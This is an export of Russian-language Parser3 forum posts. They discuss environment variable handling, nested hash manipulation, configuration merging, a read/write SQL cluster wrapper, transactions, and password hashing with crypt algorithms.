Кстати забыл еще один вариант. При обращении к $env:name смотреть сначала в переменных http запроса, а если там нет, в переменных окружений процесса веб-сервера. С точки зрения результата это будет похоже на копирование env процесса веб-сервера, но без накладных расходов. И $env:fields не будет содержать env процесса веб-сервера (хотя это обсуждаемо).\
\
\
[quote]Кстати заметил ещё один момент - если веб-сервером парсера отдать txt файл с диска ~80кбайт браузер показывает ожидание 70-80мс. Если отдавать тот же файл с того же диска на том же сервере nginx-ом с gzip, то он жмется до 13 кбайт и ожидание отдачи сервером составляет 22мс.\
Это из-за gzip?[/quote]\
\
Скорее из-за latency (времени отклика) сервера. Такие вещи надо смотреть с самого сервера и если там будет заметная разница, это уже повод изучить почему так.\
\
[quote]Нет планов реализовать gzip парсерным веб-сервером на респонсе?[/quote]\
\
Нет. Для целей разработки разницы нет, а для \"боя\" в любом случае потребуется обратный прокси - сейчас же везде https."
"86443","Кажется, что при явном обращении к env:fields можно смерджить серверные и воркерные енвы и плевать на накладные — програмист же явно попросил все.\
\
Остается решить что делать с записью в env. Я бы сделал запись в процесс сервера, чтобы семантика была похожа на cgi."
"86444","Вместо предпоследней строки как-то динамически через цикл?\
В идеале было бы вообще вот так $h.[$s][789]\
\
[code]@main[]\
\
$h[$.a[$.b[$.c[123]]]]\
\
$h.a.b.c[456]\
\
$h.a.b.c\
\
$s[a.b.c]\
\
$parts[^s.split[.;lh]] \
-- $h.[$parts.0].[$parts.1].[$parts.2][789] --\
\
\
$h.a.b.c[/code]"
"86445","[code]@main[]\
$h[\
	$.a[$.b[$.c[123]]]\
	$.x[$.y[$.z[321]]]\
]\
\
  $s[a.b.c]\
  $i(456)\
  $t[^s.split[.]]\
  $h1[^hash::create[$h]]\
  !$h.a.b.c!=>\
  ^t.menu{\
    ^if($h1.[$t.piece] is hash){\
      $h1[$h1.[$t.piece]]\
    }{\
      $h1.[$t.piece]($i)\
    }\
  }\
  !$h.a.b.c!\
  !$h.x.y.z![/code]"
"86446","Делайте одноуровневый.\
\
[code]$h[ $.[a.b.c][123] ]\
$s[a.b.c]\
$h.$s\
[/code]\
\
Циклом понятно тоже можно, сделав split вертикально и в цикле погружаясь глубже, но эффективность сомнительньна\
\
[code]$h[$.a[$.b[$.c[123]]]]\
\
$s[a.b.c]\
\
$parts[^s.split[.]]\
$v[$h]\
^parts.menu{ $v[$v.[$parts.piece]] }\
$v[/code]"
"86447","Было $h[$.a[$.b[$.c[123]]]]\
\
сделать, используя $s[a.b.c]\
\
$h[$.a[$.b[$.c[456]]]]\
\
\
Надо либо в существующем хеше изменить значение вложенного ключа, либо собрать динамически ветку в новом хеше и смержить её черз add с существующим большим хешем"
"86449","Хэш — это структура данных где каждому ключу соответствует ровно одно значение. Что лежит в значении структура понятия не имеет. Хеш заботится об эффективном хранении и поиске ключей.\
\
Если в значение положить еще один хеш и воспользоваться опретором разыменования структуры (точка), то этотне боле чем имитация иерархии. ;)\
\
Поэтому чуда не будет. Либо идти рекурсивно по ключу, либо собирать код парсера и скармливать в process."
"86450","[quote]Кажется, что при явном обращении к env:fields можно смерджить серверные и воркерные енвы и плевать на накладные — програмист же явно попросил все.[/quote]\
\
Но точно так же программист может ожидать, что при работе в режиме cgi и веб-сервера там будет примерно одно и тоже, а не +40 переменных... Плюс если там секреты - они могут засветиться. Не скажу что это прям риск, но у меня не в одном месте выводится все окружение и получается при запуске в режиме веб-сервера надо будет думать о том, чтобы там не оказалось лишнего. А каких-то явных плюсов от их вывода я не вижу.\
\
[quote]Остается решить что делать с записью в env. Я бы сделал запись в процесс сервера[/quote]\
\
Тут особо без вариантов, у нас запись есть только в env воркера и это используется в коде класса httpd. В env сервера нельзя писать еще и потому, что в многопоточном режиме там каша будет."
"86451","Есть метод, который умеет превращать многоуровневый объект со вложенными хешами в плоский хеш с ключами, в имени которых закодирован путь до каждого значения (разделитель двойное подчеркивание).\
Есть обратный метод, который умеет у плоского хеша сплитить ключи и делать многоуровневый объект.\
Умеет читать /../.env.base (должен быть в репе) и мержить его с /../.env.local (должен быть в гит-игноре) + сверху все это можно переопределить переменными окружения сервера начинающимися с двух подчеркиваний \"__\". Каждый уровень так же разделяется \"__\"\
\
Наверное можно это отрефакторить в плане красоты кода, именования переменных и методов и закинуть в копилку классов.\
\
Например:\
[code]\
{\
\"__project-name\":\"API Parser3\",\
\"__a1__b\":\"1\",\
\"__a1__w\":\"www\",\
\"__database__api__main-db__1__type\":\"pgsql\",\
\"__database__api__main-db__1__host\":\"my-pg15-dev\",\
\"__database__api__main-db__1__ports__write\":\"5432\",\
\"__database__api__main-db__1__ports__read\":\"5433\",\
\"__database__api__main-db__1__user\":\"\",\
\"__database__api__main-db__1__password\":\"\",\
\"__database__api__main-db__1__db_name\":\"b_dev\",\
\"__database__api__contractor-db__2__type\":\"pgsql\",\
\"__database__api__contractor-db__2__host\":\"my-pg15-dev\",\
\"__database__api__contractor-db__2__ports__write\":\"5432\",\
\"__database__api__contractor-db__2__ports__read\":\"5433\",\
\"__database__api__contractor-db__2__user\":\"\",\
\"__database__api__contractor-db__2__password\":\"\",\
\"__database__api__contractor-db__2__db_name\":\"b_dev\",\
\"__database__api__contractor-db__3__type\":\"pgsql\",\
\"__database__api__contractor-db__3__host\":\"my-pg15-dev\",\
\"__database__api__contractor-db__3__ports__write\":\"5432\",\
\"__database__api__contractor-db__3__ports__read\":\"5433\",\
\"__database__api__contractor-db__3__user\":\"\",\
\"__database__api__contractor-db__3__password\":\"\",\
\"__database__api__contractor-db__3__db_name\":\"b_dev\",\
\"__database__pay-api__main-db__1__type\":\"pgsql\",\
\"__database__pay-api__main-db__1__host\":\"my-pg15-pay-dev\",\
\"__database__pay-api__main-db__1__ports__write\":\"5432\",\
\"__database__pay-api__main-db__1__ports__read\":\"5433\",\
\"__database__pay-api__main-db__1__user\":\"u_pay_dev\",\
\"__database__pay-api__main-db__1__password\":\"qwerty\",\
\"__database__pay-api__main-db__1__db_name\":\"b_pay_dev\",\
\"__a1__c\":\"abc\",\
\"__a1__d\":\"xyz\",\
\"__a2__b\":\"1.1\",\
\"__a2__b_2\":\"2.2\",\
\"__a2__b_3\":\"3.3\",\
\"__a2__d__da\":\"11\",\
\"__a2__d__db\":\"22\"\
}\
[/code]\
\
Пример .env.base и .env.local\
[code]\
{ \
	  \"database\": {\
	    \"api\": {\
	      	\"main-db\": {\
		      \"1\": {\
		        \"name\": \"main\",\
		        \"type\": \"pgsql\",\
		        \"host\": \"my-pg15-dev\",\
		        \"ports\": {\
		        	\"write\": \"5432\",\
		        	\"read\": \"5433\"\
		        },\
		        \"user\": \"\",\
		        \"password\": \"\",\
		        \"db_name\": \"b_dev\"\
		      }\
		  	},\
	      	\"contractor-db\": {\
		      	\"2\":{\
			        \"type\": \"pgsql\",\
			        \"host\": \"my-pg15-dev\",\
			        \"ports\": {\
			        	\"write\": \"5432\", \
			        	\"read\": \"5433\"\
			        },\
			        \"user\": \"\",\
			        \"password\": \"\",\
			        \"db_name\": \"b_dev\"\
		      	},\
		      	\"3\":{\
			        \"type\": \"pgsql\",\
			        \"host\": \"my-pg15-dev\",\
			        \"ports\": {\
			        	\"write\": \"5432\", \
			        	\"read\": \"5433\"\
			        },\
			        \"user\": \"\",\
			        \"password\": \"\",\
			        \"db_name\": \"b_dev\"\
			    }\
		    }\
	  },\
	  \"pay-api\":{\
	    \"main-db\": {\
		    \"1\":{\
		      	\"type\": \"pgsql\",\
		      	\"host\": \"my-pg15-pay-dev\",\
		     	\"ports\": {\
		     		\"write\": \"5432\",\
		     		\"read\": \"5433\"\
		     	},\
		      	\"user\": \"u_pay_dev\",\
		      	\"password\": \"qwertyU\",\
		      	\"db_name\": \"b_pay_dev\"\
		    }\
	    }\
	  }\
  	},\
	\"a1\":{\"b\": 1, \"c\": \"abc\", \"d\": \"xyz\"},\
	\"a2\":{\"b\": 1.1, \"b\": 2.2, \"b\": 3.3, \"d\": {\"da\": 11, \"db\": 22}}\
}\
[/code]\
\
\
[code]\
###########################################################################\
$oEnvConfig[^EnvConfig::create[]]\
^json:string[$oEnvConfig]\
\
@CLASS\
EnvConfig\
\
\
###########################################################################\
@create[][f;hEnv;hEnvBase;hEnvLocal;hEnvServer;s]\
\
^if(!def $env:SERVER_NAME){\
    $hEnvBase[^getEnvFromFile[/../.env.base]]\
    $hEnvLocal[^getEnvFromFile[/../.env.local]]\
    ^hEnvBase.add[$hEnvLocal]\
    $hEnvServer[^env:fields.select[k;v](^k.left(2) eq __)]\
    ^hEnvBase.add[$hEnvServer]\
\
    $s[^json:string[$hEnvBase]]\
    ^s.save[/../.env-flat]\
\
    $hEnv[^hash::create[]]\
    ^hEnvBase.foreach[k;v]{\
        ^addBranch[$hEnv;$k;$v]\
    }\
\
    $s[^json:string[$hEnv]]\
    ^s.save[/../.env]\
}{\
    $f[^file::load[text;/../.env]]\
    $hEnv[^json:parse[^taint[as-is;$f.text]]]\
}\
\
#    $hEnvDB[^hEnv.select[k;v](^k.left(10) eq __database)]\
\
$result[$hEnv]\
\
\
###########################################################################\
@getEnvFromFile[sFileName][hTmp;h;ss]\
    ^if(-f $sFileName){\
        $f[^file::load[text;$sFileName]]\
        $hFromFile[^json:parse[^taint[as-is][$f.text];$.double(false) $.distinct[all]]]\
        \
        $hTmp[^hash::create[]]\
\
        $ss[]\
        ^getKeys[$hFromFile;$hTmp;$ss]\
        $result[$hTmp]\
    }{\
        $result[^hash::create[]]  \
    }\
\
    \
###########################################################################\
@getKeys[h;hRef;s][k;v;kParent;parts]\
    ^h.foreach[k;v]{\
        \
        ^if($v is hash){\
                        \
            $s[${s}__$k]                        \
\
            $kParent[$k]\
\
            ^getKeys[$v;$hRef;$s]\
\
            $parts[^s.split[__$kParent;lh]]\
            $s[${parts.0}]\
            $parts[^s.split[__;rh]]\
            $kParent[$parts.0]\
            \
        }{\
            $hRef.[${s}__$k][$v]\
        }\
    }\
\
\
###########################################################\
@addBranch[h;sPath;v][t;h1;h0]\
    \
    $sPath[^sPath.trim[__]]\
    $t[^sPath.split[__;lv]]\
  \
    ^if($t==1){\
      $h.[$t.piece][$v]\
    }{\
        ^if(!($h.[$t.piece] is hash)){\
          $h0[$.[$t.piece][^hash::create[]]]\
          ^h.add[$h0]  \
        }\
\
\
        $h1[^hash::create[$h]]\
\
        ^t.menu{\
          ^if(!($h1.[$t.piece] is hash)){\
            $h1.[$t.piece][^hash::create[]]\
          }\
\
          ^if(^t.line[]!=$t){\
            $h1[$h1.[$t.piece]]\
          }{\
            $h1.[$t.piece][$v]\
          }\
        }\
    }\
[/code]"
"86452","[quote]Для целей разработки разницы нет, а для \"боя\" в любом случае потребуется обратный прокси - сейчас же везде https.[/quote]\
\
Не всегда. Например может быть два микросервиса в одном кубере в виде двух отдельных апи. И есть задача, когда одно апи дергает другое. Если они делают это через днс, https и внешний интерфейс, получается в разы медленнее, чем если бы они дергали друг друга по имени сервиса.\
У парсера есть встроенный веб-сервер и это удобно - можно обращаться аля curl напрямую без прослойки аля nginx. С php-fpm такой номер не проходит - мы писали свой коннект к php-fpm на порт 9000 через web-socket, получали ответ, отрезали заголовки ответа и пользовались пришедшими данными.\
Если объем ответа не большой, то думаю несильно критично пожат ответ или нет. А когда большой, то ..."
"86453","Есть постгрес+патрони + haproxy с двумя портами RW 5433 и R 5434\
\
Понятно можно сделать два объекта: $oSqlRW и $oSqlR\
и гибко по своей логике где надо использовать нужный объект\
\
Только надо постоянно помнить, что нельзя делать ^oSqlR.void{...}\
\
Либо изменить класс Sql.p или сделать класс-обертку, создавать в main один объект (передавая туда два коннекта), а в внутри этого экземпляра класса иметь два объекта Sql и void всегда дергать в RW коннекте. Но там есть тоже нюанс, что некоторые SELECT ... надо выполнять через RW коннект\
Иметь один объект для программиста удобнее.\
Как лучше и правильнее делать?"
"86454","Как правило. Это зависит от данных, настроек и железа, но в среднем gzip сжимает в пределах 50 мегабайт в секунду, что медленнее даже гигабитной сети, хотя едва ли что-то разворачивает кубернетес на чем-то меньшем, чем 10Gbit. Плюс сжатие грузит CPU."
"86456","Так то понятно, что если сложность можно \"спрятать\", то лучше это сделать. Но на решение влияют и другие факторы:\
- разовая ли это задача или решение будет использоваться многократно\
- \"некоторые SELECT\" - много ли их в процентах\
- дополнительный уровень абстрацкции может усложнить понимание кода\
- ..."
"86457","[code]\
@USE\
SqlCluster.p\
\
@main[]\
\
$oSqlApiMain[^SqlCluster::create[$oEnvConfig.database.api.main.1]]\
\
$t[^oSqlApiMain.table[SELECT id, name FROM public.news]]\
^t.menu{\
    $t.id -- $t.name \
}[<br>]\
\
# не сработает через .R  ---> $t[^oSqlApiMain.R.table[SELECT * FROM news]]\
# так же как и void (чтобы не делали void не с мастера)        ^oSqlApiMain.R.void[DELETE FROM news WHERE id=-100]\
# через RW явно ---> $t[^oSqlApiMain.RW.table[SELECT * FROM news]]\
# через R       ---> $t[^oSqlApiMain.table[SELECT * FROM news]]\
# через RW      ---> ^oSqlApiMain.void[DELETE FROM news WHERE id=-100]\
[/code]\
\
[code]\
@CLASS\
SqlCluster\
\
\
###########################################################################\
@create[hConnections;hParams][h;k;v;connect-string-rw;connect-string-r]\
\
	$h[\
		^if(def $hParams.bDebug){$.bDebug($hParams.bDebug)}\
        ^if(def $hParams.bDebug){$.sCacheDir[$hParams.sCacheDir]}\
	]\
\
	^hConnections.servers.foreach[k;v]{\
		$connect-string-$k[^if(!def $hConnections.type || $hConnections.type eq mysql){mysql}{pgsql}://${hConnections.user}:${hConnections.password}@${v.host}^if(def $v.port){:$v.port}/${hConnections.db_name}^if(!def $hConnections.type || $hConnections.type eq mysql){?charset=utf8}]\
	}\
	\
	$bDefR(false)\
\
	^if(!def $hConnections.type || $hConnections.type eq mysql){\
    	$self.RW[^MySql::create[$connect-string-rw;$h]]\
    	^if(def ${connect-string-r} && ${connect-string-r} ne \"\"){\
	    	$R[^MySql::create[$connect-string-r;$h]]\
	    	$bDefR(true)\
		}\
    }{\
    	$self.RW[^PgSql::create[$connect-string-rw;$h]]\
    	^if(def ${connect-string-r} && ${connect-string-r} ne \"\"){\
	    	$R[^PgSql::create[$connect-string-r;$h]]\
	    	$bDefR(true)\
		}\
    }\
\
\
\
###########################################################################\
# some $hCacheOption are available:\
# $.bForce(1). force execute query without clearing file\
# $.sFile[path/to/cache-file]. path to file in $sCacheDir\
# $.bAuto(1|0). 1 - cache query with auto-generated filename, 0 - disable auto caching for query\
# $.dInterval(value). 0 - clear file and don't cache query [days, default=1]\
# $.dtExpirationTime[time when cache expire]\
# $.iThreshold(value). in any case file will be cleared after 1.5 * dInterval [%, default=100]\
\
###########################################################################\
@void[jQuery;hSqlOption;hCacheOption]\
$result[^self.RW.void[$jQuery;$hSqlOption;$hCacheOption]]\
#end @void[]\
\
###########################################################################\
@int[jQuery;hSqlOption;hCacheOption]\
$result[^if($bDefR){^R.int[$jQuery;$hSqlOption;$hCacheOption]}{^RW.int[$jQuery;$hSqlOption;$hCacheOption]}]\
#end @int[]\
\
###########################################################################\
@double[jQuery;hSqlOption;hCacheOption]\
$result[^if($bDefR){^R.double[$jQuery;$hSqlOption;$hCacheOption]}{^RW.double[$jQuery;$hSqlOption;$hCacheOption]}]\
#end @double[]\
\
###########################################################################\
@string[jQuery;hSqlOption;hCacheOption]\
$result[^if($bDefR){^R.string[$jQuery;$hSqlOption;$hCacheOption]}{^RW.string[$jQuery;$hSqlOption;$hCacheOption]}]\
#end @string[]\
\
###########################################################################\
@table[jQuery;hSqlOption;hCacheOption]\
$result[^if($bDefR){^R.table[$jQuery;$hSqlOption;$hCacheOption]}{^RW.table[$jQuery;$hSqlOption;$hCacheOption]}]\
#end @table[]\
\
###########################################################################\
@hash[jQuery;hSqlOption;hCacheOption]\
$result[^if($bDefR){^R.hash[$jQuery;$hSqlOption;$hCacheOption]}{^RW.hash[$jQuery;$hSqlOption;$hCacheOption]}]\
#end @hash[]\
\
###########################################################################\
@file[jQuery;hSqlOption;hCacheOption]\
$result[^if($bDefR){^R.file[$jQuery;$hSqlOption;$hCacheOption]}{^RW.file[$jQuery;$hSqlOption;$hCacheOption]}]\
#end @file[]\
[/code]"
"86458","Типа это одна транзакция? Но откат в нем не работает без BEGIN + COMMIT, а транзакция с откатом работает и без обертки сервер:\
[code]\
@USE\
SqlCluster.p\
\
@main[]\
\
$oSql[^SqlCluster::create[$oEnvConfig.database.pay-api.main.1]]\
\
\
#^oSql.RW.server{\
\
    ^try{\
	^oSql.RW.void[BEGIN]\
	^oSql.RW.void[INSERT INTO _news (id, name) VALUES (3,'DDD')]\
	^oSql.RW.void[INSERTTTT INTO _news (id, name) VALUES (4,'EEE')]\
	^oSql.RW.void[INSERT INTO _news (id, name) VALUES (5,'FFF')]\
	^oSql.RW.void[COMMIT]\
    }{\
	^oSql.RW.void[ROLLBACK]\
	$exception.handled(true) \
        $exception.type -- \
      <pre>$exception.comment</pre>\
    }\
\
#}\
\
$t[^oSql.table[SELECT * FROM _news]]\
\
^t.menu{\
    $t.id -- $t.name\
}[<br>]\
[/code]"
"86459","a     1b     2c     4d\
1     24     34     54\
2     23     92     49\
3     38     34     51\
\
[code]$digit[2]\
$symbol[c]\
^table.menu{^if($table.a eq '2'){[b]$table.$digit$symbol[/b]}}[/code]\
\
 Жирным просто набор слов для понимания задачи.\
\
Как верно оформить? Мои эксперименты с фигурными и квадратными скобками, включая формирование, для начала, одной строки из двух, ничего не дают."
"86460","$digit$symbol это значение переменной $digitc, поэтому надо ограничить фигурными скобками. Ну а квадратные традиционно используются, если имя поле сложное. \
Там может быть и вызов метода например."
"86462","Статический класс для работы с хэшами через dot-notation.\
\
[i]^h:get[$hash;a.b.c.d][/i] — получить значение по пути;\
[i]^h:set[$hash;a.b.c.d;…][/i] — установить значение по пути;\
[i]^h:merge[$base;$appendix;…][/i] — слить хэши в первый.\
\
[i]h.p:[/i]\
[code]@CLASS\
h\
\
\
@OPTIONS\
locals\
static\
\
\
@get[hash;path;options]\
$options[^hash::create[$options]]\
\
$result[$void]\
\
$path[^path.split[.]]\
\
^try{\
	^path.menu{\
		$hash[$hash.[$path.piece]]\
	}\
\
	$result[$hash]\
}{\
	$exception.handled($exception.type eq 'parser.runtime' && (^exception.comment.right(18) eq 'it has no elements' || ^exception.comment.right(38) eq 'element can not be fetched from string'))\
}\
\
^if(!def $result && def $options.default){\
	$result[$options.default]\
}\
\
\
@set[hash;path;value]\
$result[$void]\
\
$path[^path.split[.]]\
\
^path.menu{\
	$key[$path.piece]\
\
	^if(^path.line[] < $path){\
		^if(!^hash.contains[$key]){\
			$hash.$key[^hash::create[]]\
		}\
\
		$hash[$hash.$key]\
	}{\
		^if($hash.$key is hash){\
			^hash.$key.add[$value]\
		}{\
			^switch[$value.CLASS_NAME]{\
				^case[int;double;bool]{\
					$hash.$key($value)\
				}\
				^case[DEFAULT]{\
					$hash.$key[$value]\
				}\
			}\
		}\
	}\
}\
\
\
@merge[accepter;*donors]\
^donors.foreach[;donor]{\
	^self.rforeach[$donor;path;;value]{\
		$key[^self.get[$accepter;$path]]\
\
		^if($key is void){\
			^try{\
				^self.set[$accepter;$path;$value]\
			}{\
				$exception.handled($exception.type eq 'parser.runtime' && ^exception.comment.left(25) eq 'element can not be stored')\
			}\
		}($key is hash){\
			^key.add[$value]\
		}\
	}\
}\
\
\
@rforeach[hash;pvar;kvar;vvar;code;separator;options]\
$hash[^if(def $hash){$hash;^hash::create[]}]\
$options[^hash::create[$options]]\
$path[]\
\
$result[]\
\
$index(0)\
^hash.foreach[key;value]{\
	$path[^if(def $options.path){${options.path}.}$key]\
\
	$caller.$pvar[$path]\
	$caller.$kvar[$key]\
	$caller.$vvar[$value]\
\
	$result[${result}$code]\
\
	^if(def ^result.trim[]){\
		$result[${result}$separator]\
	}\
\
	^if($value is hash){\
		$result[${result}^self.rforeach[$value;$pvar;$kvar;$vvar]{\
			$caller.$pvar[$$pvar]\
			$caller.$kvar[$$kvar]\
			$caller.$vvar[$$vvar]\
\
			$code\
		}{$separator}[\
			^hash::create[$options]\
			$.path[$path]\
		]]\
	}\
\
	^index.inc[]\
}\
\
^if(def $separator){\
	$result[^result.trim[end;$separator]]\
}[/code]\
\
[i]test.html:[/i]\
[code]@main[]\
^use[h.p]\
\
# get\
\
$hash[\
	$.a[\
		$.b[1]\
	]\
]\
\
<pre>^h:get[$hash;a.b]</pre>\
# 1\
\
<pre>^h:get[$hash;a.b.c;$.default(777)]</pre>\
# 777\
\
\
# set\
\
$hash[\
	$.a[\
		$.b[1]\
	]\
]\
\
^h:set[$hash;a.z.y.x.w](666)\
\
<pre>^json:string[$hash;$.indent(true)]</pre>\
\
# $hash[\
# 	$.a[\
# 		$.b[1]\
# 	]\
# 	$.z[\
# 		$.y[\
# 			$.x[\
# 				$.w(666)\
# 			]\
# 		]\
# 	]\
# ]\
\
# merge\
\
$base[\
	$.a[\
		$.b[1]\
	]\
]\
\
$appendix[\
	$.a[\
		$.b[2]\
		$.c[2]\
	]\
	$.d[3]\
]\
\
$appendix2[\
	$.e[\
		$.f[4]\
	]\
	$.g[5]\
]\
\
^h:merge[$base;$appendix;$appendix2]\
<pre>^json:string[$base;$.indent(true)]</pre>\
\
# $base[\
# 	$.a[\
# 		$.b[2]\
# 		$.c[2]\
# 	]\
# 	$.d[3]\
# 	$.e[\
# 		$.f[4]\
# 	]\
# 	$.g[5]\
# ][/code]"
"86463","url: [b]/?a=b&c=d[/b]\
\
[code]$urltable[^table::create{attribute[b]TAB[/b]indicator\
^form:fields.foreach[key;value]{\
$key[b]TAB[/b]$value}}]\
#для контроля:\
^urltable.save[/urltable.txt][/code]\
\
На вид текстовым редактором всё хорошо.\
\
Но.\
\
[code]^urltable.menu{^if($urltable.attribute ne 'lang'){&$urltable.attribute=$urltable.indicator}}[/code]\
\
= [b]&b=b&d=d[/b]\
\
WTF?"
"86464","Получается &a=b&c=d и в 3.4.6 и в HEAD. Опять же, раз в urltable.txt все корректно это тоже намек на то, что дело в чем то, что не показано в вашем коде. Например $urltable меняется или формирование чуть иначе."
"86465","Привет) удалось заставить работать правильно код?) я в плане подпись сверяется? у меня такая же проблема, не могу никак победить проверку подлинности с телегой"
"86466","[quote]При обращении к $env:name смотреть сначала в переменных http запроса, а если там нет, в переменных окружения процесса веб-сервера.[/quote]\
Реализовано."
"86467","В методе foreach не видит $code. Пробовал и через $caller.$code - тоже самое.\
При этом видит $kkk (и похоже это не $MAIN:kkk)\
Вернее оно переменную $code видит и выводит \"FFFFF\", но в этой переменной не видит обращение к $kkk\
А если в конструкторе сделать $result[$h], то новые методы класса не видит. А если не вернуть, то надо переопределять все методы класса hash. Начал с foreach И не получается :(\
\
[code]\
@foreach[key;value;code][kk;vv]\
^self.H.foreach[$key;$value]{$kkk}[,]\
[/code]\
\
[code]\
@main[]\
\
$oHash[^Hash::create[$.x[$.y[aaaa]] $.z[SSSS]]]\
\
^json:string[$oHash]\
\
!!! ^oHash.foreach[kkk;vvv]{$kkk FFFFF} !!!\
[/code]\
\
[code]\
@CLASS\
Hash\
\
\
###########################################################################\
@create[h]\
$self.H[$h]\
\
\
@GET[sMode]\
$result[^hash::create[$self.H]]\
\
\
@GET_DEFAULT[sName]\
$result[$self.H.$sName]\
\
\
@foreach[key;value;code][kk;vv]\
^self.H.foreach[$key;$value]{$code}[,]\
\
[/code]"
"86469","[code]@main[]\
\
$oHash[^Hash::create[$.x[xxxx] $.y[aaaa] $.z[SSSS]]]\
\
json: ^json:string[$oHash]\
\
foreach: ^oHash.foreach[k;v]{$k - $v}\
\
\
@CLASS\
Hash\
\
@create[h]\
$self.H[$h]\
\
\
@GET[sMode]\
  $result[^hash::create[$self.H]]\
\
\
@GET_DEFAULT[sName]\
  $result[$self.H.$sName]\
\
\
@foreach[key;value;code][locals]\
  $result[^self.H.foreach[k;v]{$caller.[$key][$k]$caller.[$value][$v]$code}[, ]]\
[/code]\
\
И в результате получим:\
\
[code]json: {\
\"x\":\"xxxx\",\
\"y\":\"aaaa\",\
\"z\":\"SSSS\"\
}\
\
foreach: x - xxxx, y - aaaa, z - SSSS[/code]"
"86470","т.е. надо создать обычный hash присвоить в него через геттер хеш из объекта Hash А потом уже крутить вторую переменную стандартного класса hash -- не очень красиво и очевидно"
"86471","Про @GET тоже в документации есть — этот метод вызывается в ограниченном числе случаев. Обращение к методу или полю не вызывает @GET. Иначе метод Hash.foreach никогда бы не выполнился."
"86472","Что-то никак не идёт.\
\
attribute[b]TAB[/b]indicator\
lang[b]TAB[/b]en\
page[b]TAB[/b]5\
\
[code]^urltable.menu{$.[$urltable.attribute[$urltable.indicator]]}[/code]\
\
Надо получить строки с [i]названием[/i] из первого столбца и содержанием из второго. Есть способ?"
"86473","Если правильно понял, о чем идет речь. В таких случаях бывает понятнее с использованием промежуточных переменных.\
\
[code]$result[^urltable.menu{\
    $key[$urltable.attribute]\
    $value[$urltable.indicator]\
    $.$key[$value]\
}][/code]"
"86474","Здравствуйте.\
\
В ночных сборках нашел \"Комплект установки для Apple M1\", но это под Mac.\
Есть ли аналогичная сборка для Linux?"
"86475","https://packages.debian.org/bookworm/parser3-cgi"
"86476","Спасибо.\
\
Я по привычке полез на сайт. Обычно на оф. сайтах самые свежие версии и больше разнообразия чем в репозиториях. Даже не проверил."
"86477","[quote]транзакция с откатом работает и без обертки сервер[/quote]\
\
Это потому, что у вас одно подключение к серверу (парсер внутри кеширует соединения, поэтому каждый последующий ^connect использует уже открытое соединение). Поэтому все запросы работают в рамках одного подключения к базе. Однако в общем случае это не гарантировано. Для теста вы можете сделать вложенные подключения к БД и убедиться в этом."
"86478","Они конечно в разных объектах - экземплярах класса.\
Хотя и в одном объекте есть сразу два подключение - одно в мастер, второе в слейв базы.\
И ^oSql.server{...} я ни где не использую по факту (и не до конца понимаю где и для чего это нужно использовать)"
"86479","В php пароли можно хешировать через:\
https://www.php.net/manual/en/function.password-hash.php\
[code]\
password_hash($value, PASSWORD_BCRYPT, [\
            'cost' => 10,\
        ])\
[/code]\
\
qwerty -->\
\
$2y$10$8drcVcufOVU6QiP6KFExUOGHTb5cjSf17ruZMun81Emc1fufviaQG\
\
Можно как-то парсером получить такой же хеш по такому алгоритму?\
\
^math:crypt[qwerty;^$2y^$10^$8drcVcufOVU6QiP6KFExUOGHTb5cjSf17ruZMun81Emc1fufviaQG]\
\
ругается что в начале нету $apr1$"
"86481","и если использовать $apr1$ можно ли его на пхп сравнивать?\
нашел что-то типа такого https://hotexamples.com/examples/cryptlib.password.implementation/APR1/-/php-apr1-class-examples.html"
"86482","Сейчас это yescrypt, gost-yescrypt, sha512crypt и sha256crypt. Если очень хочется заморочится, то можно написать сервер на го и вкрутить какой-нибудь Argon 2, но не факт ,что это нужно в вашем случае.\
\
Чтобы проверить поддержку в системе, можно написать программку:\
[code]\
#!./parser3\
\
# https://manpages.debian.org/unstable/libcrypt-dev/crypt.5.en.html\
# https://unix.stackexchange.com/questions/690679/what-does-j9t-mean-in-yescrypt-from-etc-shadow\
\
@main[]\
^for[i](1;3){\
  $salt[^gen_salt(16)]\
  yescrypt:      ^unsafe{^math:crypt[password1;^$y^$j9T^$$salt]}\
  gost-yescrypt: ^unsafe{^math:crypt[password1;^$gy^$j9T^$$salt]}\
  sha512crypt:   ^unsafe{^math:crypt[password1;^$6^$$salt]}\
  sha256crypt:   ^unsafe{^math:crypt[password1;^$5^$$salt]}\
  bcrypt:        ^unsafe{^math:crypt[password1;^$2b^$10]}\
}\
\
@gen_salt[len][locals]\
  $alphabet[abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ123456789]\
  $aLen(^alphabet.length[])\
  $result[^for[i](1;$len){^alphabet.mid(^math:random($aLen);1)}]\
\
@unsafe[aCode]\
  $result[^try{$aCode}{$exception.handled(true)$exception.comment}]\
[/code]\
\
В результате имеем:\
[code]\
  yescrypt:      $y$j9T$mSbgBestrnGXYeRT$./51glc28k.3SJuobV0w0gMekAo6UPJDsAFMOwKEd59\
  gost-yescrypt: $gy$j9T$mSbgBestrnGXYeRT$t7nOIfZJJKp4ZkjZaEJyeuOprkjiJE4XfctLToKSus.\
  sha512crypt:   $6$mSbgBestrnGXYeRT$35Fq3JgYztfXxobftFVGn6ltJnHN1G7ob7AH.9tsd.3A4B2uhy8ilVWacqVpdtHcuTmIRuVwkiCupCHdufNxs0\
  sha256crypt:   $5$mSbgBestrnGXYeRT$dgzwXAK/C0LzcVuBU3s909X9aloP8hMT5xRFZAU.yN1\
  bcrypt:        crypt on this platform does not support '$2b$' salt prefix\
\
\
  yescrypt:      $y$j9T$tUP8nf5AN1gFZ4Pc$ALB0bWb4Mzl6deK8QH5IGRpVSmgk9UJLoY.5qD.nSn/\
  gost-yescrypt: $gy$j9T$tUP8nf5AN1gFZ4Pc$lAgsr/gJ8yuczJ1Y4tk4xPnAkoojFFW5AraMa8US9FD\
  sha512crypt:   $6$tUP8nf5AN1gFZ4Pc$yTmmUK72DkXOxPphnX9yCEgmxz75NP2ABDsvFNl4h2iuS.UwgDZY7C2zY7m12SJp2nGF5zS1XfDnjxvKJ9KjZ/\
  sha256crypt:   $5$tUP8nf5AN1gFZ4Pc$QpKsQCKP0u/ZBNY/xA1hu1JYIGBTN11MfSfevAh3Fg6\
  bcrypt:        crypt on this platform does not support '$2b$' salt prefix\
\
\
  yescrypt:      $y$j9T$xRSnwDSJcrSvkjhf$P4pXgFcxoVYB9iyiezXzTO5FKtQX80m5DY9S1emHg08\
  gost-yescrypt: $gy$j9T$xRSnwDSJcrSvkjhf$bfeZjJPYn7FJ8cGXcWr1lQfA72UI6GXfv83.wul2p55\
